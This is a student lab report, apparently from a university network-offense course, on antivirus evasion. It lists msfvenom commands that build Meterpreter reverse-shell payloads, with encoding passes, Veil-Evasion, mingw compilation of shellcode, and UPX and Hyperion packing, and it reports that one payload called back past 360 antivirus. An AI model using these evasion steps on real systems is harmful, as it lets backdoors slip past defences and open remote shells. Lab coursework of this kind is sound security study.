2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165216
0. 基础问题回答
(1)杀软是如何检测出恶意代码的?
①:基于特征码检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
②:启发式恶意软件检测
简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
- 可以检测0-day恶意软件
- 具有一定通用性
缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
③:基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
免杀就是让安插的后门不被AV软件发现。
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 通讯模式
- 基于内存操作
- 减少对系统的修改
- 假如混淆作用的正常代码功能
- 通讯方式
- 非常规方式
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
1.实践内容
1.1 实验要求
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 实践过程记录
1.21:正确使用msf编码器
-
进入kali终端,输入指令
<msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.134 LPORT=5216 -f exe > miansha.exe>生成一个简单的程序 -
上传至Virscan以及Virustotal查看结果
-
使用命令<msfvenom -p windows/meterpreter/reverse_tcp -i 10 -b‘x00’ LHOST=192.168.242.134 LPORT=5216 -f exe > miansha.exe>进行多次编码
-
上传至Virscan以及Virustotal查看结果
1.22:msfvenom生成如jar类的其他文件
-
使用命令 msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.242.134 lport=5216 x> MianshaJa.jar
-
上传查看结果
-
使用命令msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.242.134 lport=5216 x> Mianshapy.py
-
查看结果
1.23:使用veil-evasion 进行重写
1.23.1 安装准备
-
使用命令[sudo apt-get install veil-evasion]安装
-
之后用 veil 打开veil,按y继续安装
-
Emmmm?
-
?????
-
换了个已经安装完成了得veil,应该是网络不好的原因
1.23.2 Evil-Evasion
-
veil命令进入后
-
命令 use evasion 进入Evil-Evason
-
输入命令 use c/meterpreter/rev_tcp.py 进入配置界面
-
设置反弹IP(即kali IP)
-
设置端口 set LPORT 5216
-
输入 generate 生成文件
-
输入保存名
-
观察路径并找出
-
上传检测
-
???
1.24:半手工注入Shellcode并执行
-
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.134 LPORT=5216 -f c 用c生成一段shellcode
-
vim shellcode.c,把数组复制进去,并添加一个主函数
-
命令i686-w64-mingw32-g++ shellcode.c -o 5216shellcode.exe 编译为一个可执行文件
-
用360检测玩一玩
-
查看结果
1.25 加壳工具
1.25.1加壳介绍
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
在技术上加壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪,如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换成自己设计的指令集。如VMProctect,Themida
1.25.2压缩壳(UPX)
- 在5216shellcode.exe基础上进行加壳
- 命令 upx 5216shellcode.exe -o sxx_upxed.exe
- 上传检测
1.25.3加密壳(Hyperion)
- 复制5216shellcode.exe入目录/usr/share/windows-binaries/hyperion/
- 进入相应目录
- 进行加壳,命令为wine hyperion.exe -v 5216shellcode.exe sxx_upxed_Hyperion.exe
- 上传检测
1.3通过组合应用各种技术实现恶意代码免杀(0.5分)
-
使用命令msfvenom -p windows/meterpreter/reverse_http -i 6 LHOST=192.168.242.134 LPORT=5216 -f c生成一个shellcode
-
复制其中的数组
-
打开Microsoft Visual C++
-
粘贴进去,并添加头以及主函数并编译
-
Kali终端输入msfconsole
-
依次输入代码进行端口扫描
-
打开Debug目录下的.exe文件
-
连接成功!
1.4用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 杀毒软件为360,图如下
- 实验成功截图如下
2 实验参考资料
老师的码云:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
想换编码器的同学可以用如下查看(有些不能用,原来有msfencode -l查看所有可用的,现在没有)
想换payloads的同学可以查看这个
3 总结与体会
本次实验考察了杀毒软件工作的额基本原理,同时get了2个集成杀毒软件库的网站Virustotal以及virscan.在实验的过程中,遇到了些问题,比如杀毒软件死活骗不过去,电脑改为桥接模式后没有网,杀毒不报警但回连不成功...不过讲道理,杀毒软件这关过不去是技术问题,Veil的安装是什么鬼,卡了这么久,看着网速我也是绝望了,还好有同学装好了!整体来看,这次实验成功不过是换了一个编译器,还没对内容进行异呢!虽说进行异或也只能做到静态免杀,动态的还是有问题,不过杀毒软件这就过了!软件下载源要注意了,不过360还是比电脑管家强。。。
4 开启杀软能绝对防止电脑中恶意代码吗?
显然不能,换个平台就出来了不说,静态查杀都还不够严格呢,更别说动态查杀了!